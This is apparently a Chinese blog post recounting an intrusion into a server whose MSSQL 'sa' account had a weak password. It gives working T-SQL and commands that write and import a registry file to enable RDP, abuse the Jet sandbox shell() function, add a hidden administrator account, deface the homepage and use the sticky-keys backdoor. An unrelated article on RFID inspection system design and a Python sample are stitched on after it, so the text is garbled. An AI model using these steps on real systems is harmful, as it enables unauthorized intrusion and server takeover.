记一次基于mssql的入侵

通过扫描发现目标机器mssql的sa存在弱口令;

上xp_cmdshell,没有结果;

上xp_dirtree看目录结构,定位web目录,修改主页;

难道就到此了吗?不,继续;

发现3389端口未开,写注册表文件开通3389

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\mstsc.reg', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'Windows Registry Editor Version 5.00'
exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]'
exec @ret = sp_oamethod @f, 'writeline', NULL,'"fDenyTSConnections"=dword:00000000'
exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]'
exec @ret = sp_oamethod @f, 'writeline', NULL,'"PortNumber"=dword:00000d3d'
exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]'
exec @ret = sp_oamethod @f, 'writeline', NULL,'"PortNumber"=dword:00000d3d'

沙盒执行mstsc.reg,导入注册表

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("regedit /s d:\mstsc.reg")')

顺便加个用户net user username userpwd /add, 加入管理员组net localgroup administrators username /add;

启动mstsc,尝试登录,看到如下画面:


算了,不登陆了;

使用5个shift漏洞,shift点5下,开始浏览文件






### RFID设备巡检系统的实现方案与技术架构 #### 技术背景 射频识别(Radio Frequency Identification, RFID)是一种通过无线电波自动识别目标对象并获取相关数据的技术。它具有无需人工干预、可同时识别多个标签以及适应各种环境的特点[^1]。 #### 系统功能需求分析 基于RFID的电力设备安全巡检信息管理系统主要需具备以下几个核心功能模块: - **设备管理**:录所有待巡检设备的信息及其对应的RFID标签编号。 - **人员管理**:维护巡检人员档案,分配权限及任务计划。 - **巡检路径规划**:制定合理的巡检路线图,优化工作流程。 - **数据采集与存储**:利用RFID读写器收集现场数据,并上传至服务器保存。 - **异常报警机制**:当检测到未按预定时间完成某项检查或其他异常情况时触发警报通知相关人员处理。 - **统计报表生成功能**:定期汇总历史录生成报告供管理层审阅决策参考之用。 #### 总体设计思路 采用经典的三层结构即表现层(Presentation Layer),业务逻辑层(Business Logic Layer) 和 数据访问层(Data Access Layer): ##### 表现层 (Presentation Layer) 负责用户界面展示部分,在本项目中可以考虑Web端或者移动端两种形式的应用程序来满足不同场景下的操作需求;对于前者来说ASP.NET Core MVC框架是一个不错的选择因为它支持跨平台部署并且拥有强大的生态系统可以帮助快速构建现代化网站;而对于后者则推荐使用Flutter这样的跨平台移动应用开发工具包因为其能够一次编写代码就能编译成iOS和Android两个版本从而减少重复劳动提高效率降低成本。 ##### 业务逻辑层 (Business Logic Layer) 此层次包含了整个应用程序的核心算法和服务接口定义等内容。考虑到未来可能存在的扩展性和灵活性要求建议引入领域驱动设计理念(DDD-Domain Driven Design)按照特定领域模型组织代码使得复杂度可控易于理解和维护同时也便于单元测试覆盖率达到较高水平确保产品质量可靠稳定。 另外还需要特别注意安全性方面的问题比如身份验证(Authentication)/授权(Authorization)控制防止非法入侵保护敏感信息安全不泄露等等措施都需要在此阶段精心策划实施到位才行哦! 最后一点就是关于消息队列(Message Queue) 的运用能否有效解决高并发情况下产生的瓶颈现象值得深入探讨研究一番呢?如果确实存在这方面的需求那么RabbitMQ 或者 Kafka 这类成熟稳定的开源解决方案或许会成为理想候选之一吧? ##### 数据访问层 (Data Access Layer) 为了持久化各类实体对象的状态变化通常我们会借助关系型数据库管理系统(RDBMS) 如 MySQL/PostgreSQL 来完成这项使命不过近年来NoSQL类型的文档型数据库MongoDB也逐渐崭露头角特别是在面对海量非结构化半结构化的多媒体资源文件存储诉求之时往往表现出色令人刮目相看所以具体选用哪一种类型还是要依据实际应用场景特点权衡利弊之后再做决定才好呀! 当然除了传统的集中式单机版之外分布式集群配置方式同样值得关注毕竟它们能够在一定程度上缓解因硬件故障而导致的服务中断风险提升整体可用性指标嘛~至于ORM(Object Relational Mapping) 映射库的话Entity Framework Core 对应 .NET 平台而言无疑是最主流最广泛接受的那个选项咯~ #### 关键技术支持方向展望 随着新一代通信网络基础设施建设步伐加快特别是5G商用化进程不断推进必将极大地促进物联网(IoT)生态繁荣发展进而带动诸如边缘计算Edge Computing等相关新兴热点领域的崛起共同推动包括但不限于上述提到过的那些先进特性在内的全方位多维度升级迭代进程持续向前迈进[2]. ```python class RfidTag: def __init__(self, tag_id: str, device_info: dict): self.tag_id = tag_id self.device_info = device_info def read_data(self) -> dict: """模拟从RFID标签读取数据""" return {"tag_id": self.tag_id, "info": self.device_info} def main(): sample_device = { 'name': 'Transformer A', 'location': 'Substation X' } rfid_tag = RfidTag('EPC_12345', sample_device) data = rfid_tag.read_data() print(f"Read Data from Tag {data['tag_id']}: Location={data['info']['location']}") if __name__ == "__main__": main() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值